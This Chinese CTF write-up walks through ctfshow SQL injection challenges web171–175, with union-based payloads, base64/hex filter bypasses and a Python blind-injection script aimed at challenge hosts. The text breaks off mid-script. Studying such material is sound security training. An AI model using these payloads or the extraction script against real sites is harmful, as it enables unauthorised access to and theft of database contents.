ctfshow web入门 sql注入做题记录

ctfshow web入门 sql注入

前言,感谢y4师傅详尽的教程[CTFSHOW]SQL注入(WEB入门)_Y4tacker的博客-CSDN博客_ctfshow sql注入

sql注入的产生

php中对数据库的操作非常简化,只需要一串sql语句的字符串,之后将这个字符串传入mysql_query这个函数就能进行数据库的操作,因而如果对用户传入的参数不进行严格的过滤,或者通过预处理之类的手段严格限制传入的参数,就会造成sql注入漏洞,执行用户自定义的sql语句。

image-20211112184639541

MySQL5注入的一般流程:

获取字段数-查库名-查表名-查列名-查数据

获取字段数:order by 临界值
获取库名:database()
表名和列名没有内置函数 怎么查?

union语句:将不同表的两个列查询的数据去重拼接
union all :不去重

获取MySQL版本:version()
MySQL5.0以下版本只能和access数据库一样猜解
而MySQL5.0以上版本内置了information_schema库,存储了所有的数据库名、表名、列名
information_schema.tables 记录表名信息
information_schema.columns 记录列名信息
TABLE_SCHEMA 数据库字段
table_name 表名
column_name 列名
查表名:
SELECT table_name FROM information_schema.tables where TABLE_SCHEMA=database();
查列名:
SELECT column_name FROM information_schema.columns where TABLE_name=‘users’;
查数据:
select 列名 from 库名.表名

MySQL5以上的sql注入

分类的方式有很多,根据sql参数的类型可分为字符型和数字型。

根据传参的不同可分为:

  1. get型,较为常见的一个类型,php通过$_GET[]获得参数

  2. post型,类比与get型,通过$_POST[]获得sql参数

  3. cookie型,$_COOKIE[]

  4. http型,利用$_SERVER[]获取传入的http头部信息,处理之后传入sql语句拼接。

    一些讲解:

    X-Forwarded-For
    X-Forwarded-For是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。类似的还有如下几种
    X-Originating-IP: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    Client-IP: 127.0.0.1
    User-agent
    用户代理(user agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下user-agent头存在的问题了。
    Referer
    Referer是另外一个当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。

    ctfshow web入门 sql注入做题记录_第1张图片

    实例:

    一般先判断注入是数字型注入或者是字符型注入

    ctfshow web入门 sql注入做题记录_第2张图片

    ?id=1+1如果成功返回数据则为数字型注入,如果在url后拼接?id=1 and 1=1orand 1=2分别正确错误则说明为字符型注入

    数字型:

    首先查字段
    url?id = 1 order by 3 不报错
    url?id = 1 order by 4 报错
    所以有三个字段
    接下来使用联合查询:url?id = 1 union select 1,2,3

    查当前数据库名,版本,用户
    url?id = 1 union select database(),version(),user()

    查询有什么表
    url?id = 1 union select 1,2,table_name from infomation_schema.tables where table_schema = database()

    查询列名:
    url?id = 1 union select 1,2,column_name from infomation_schema.columns where table_table = 'users'

    查询数据:
    url?id = 1 union select id,username,password from users

web171

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

一个字符串型注入,走一个流程

payload:

  1. 爆字段数:

    1' order by 4 --+

    此时报错,因而字段数为3

  2. 看回显位置

1' union select 1,2,3 --+

ctfshow web入门 sql注入做题记录_第3张图片

  1. 得到回显,爆破当前数据库名,版本,用户

    1' union select database(),version(),user()--+

ctfshow web入门 sql注入做题记录_第4张图片

  1. 查询当前数据库有什么表,因为表数量可能过多因而用group_concat来整合成一个

    1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

    ctfshow web入门 sql注入做题记录_第5张图片

    可以看到只有一个ctfshow_user的表

  2. 查询表中的列名

    1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+

ctfshow web入门 sql注入做题记录_第6张图片

  1. 查询表中的数据

    1'union select id,username,password from ctfshow_user --+

ctfshow web入门 sql注入做题记录_第7张图片

web172

$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if($row->username!=='flag'){
   
      $ret['msg']='查询成功';
    }

题目给出了这次的表是ctfshow_user2

直接查询就好,查询结果不能有flag,通过编码绕过to_base64(),hex()

1' union select to_base64(username),hex(password) from ctfshow_user2 --+

ctfshow web入门 sql注入做题记录_第8张图片

Zmxh啥的一看就是flag,直接转码即可

web173

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
   
      $ret['msg']='查询成功';
    }
      

尝试编码绕过

-1' union select to_base64(id),to_base64(username),hex(password) from ctfshow_user3 --+

image-20211112201015936

web174

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

上题的思维是利用base64,会出现数字,群主给出的方法是利用replace从0-9用特殊单词进行替换,y4爷利用盲注直接梭了,

# @Author:Y4tacker
import requests

url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
        r = requests.get(url + payload)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web175

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

这里过滤了返回的结果中所有的ascii字符

没有回显了基本就尝试盲注,这里还有个解法二是用文件读取

盲注:

# @Author:Y4tacker
import requests

url = "http://25bc7c61-d36e-4ca2-9d01-6a75a5c08ee8.challenge.ctf.show/api/v5.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head 

你可能感兴趣的:(ctfshow,web入门,sql,前端,数据库)